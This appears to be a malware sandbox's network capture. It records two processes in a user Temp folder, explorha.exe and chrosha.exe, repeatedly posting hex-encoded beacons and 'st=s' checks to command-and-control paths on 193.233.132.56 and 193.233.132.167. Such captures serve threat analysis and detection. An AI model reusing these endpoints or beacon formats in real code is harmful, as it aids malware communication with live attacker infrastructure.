Apr 19, 2024 03:33:48.471487045 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:48.723680973 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
834	192.168.2.5	50682	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:48.823247910 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:49.071283102 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
835	192.168.2.5	50683	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:49.089917898 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:49.338819981 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
836	192.168.2.5	50684	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:49.327337027 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:49.580192089 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
837	192.168.2.5	50685	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:49.591481924 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:49.844173908 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
838	192.168.2.5	50686	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:49.937822104 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:50.176759958 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
839	192.168.2.5	50687	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:50.209768057 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:50.458019018 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
840	192.168.2.5	50688	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:50.429778099 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:50.681679964 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
841	192.168.2.5	50689	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:50.705348969 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:50.953484058 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
842	192.168.2.5	50690	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:51.043363094 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:51.291095018 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
843	192.168.2.5	50692	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:51.336133003 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:51.583940983 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
844	192.168.2.5	50693	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:51.543253899 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:51.797352076 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
845	192.168.2.5	50694	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:51.942477942 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:52.185715914 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
846	192.168.2.5	50695	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:52.164560080 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:52.412255049 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
847	192.168.2.5	50696	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:52.437187910 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:52.689637899 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
848	192.168.2.5	50697	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:52.661782026 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:52.908240080 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
849	192.168.2.5	50698	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:53.043832064 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:53.289475918 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
850	192.168.2.5	50699	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:53.275405884 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:53.519620895 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
851	192.168.2.5	50700	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:53.543054104 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:53.791717052 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
852	192.168.2.5	50701	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:53.778939962 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:54.028039932 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
853	192.168.2.5	50702	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:54.144115925 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:54.387222052 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
854	192.168.2.5	50703	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:54.382502079 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:54.629329920 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
855	192.168.2.5	50704	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:54.637356043 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
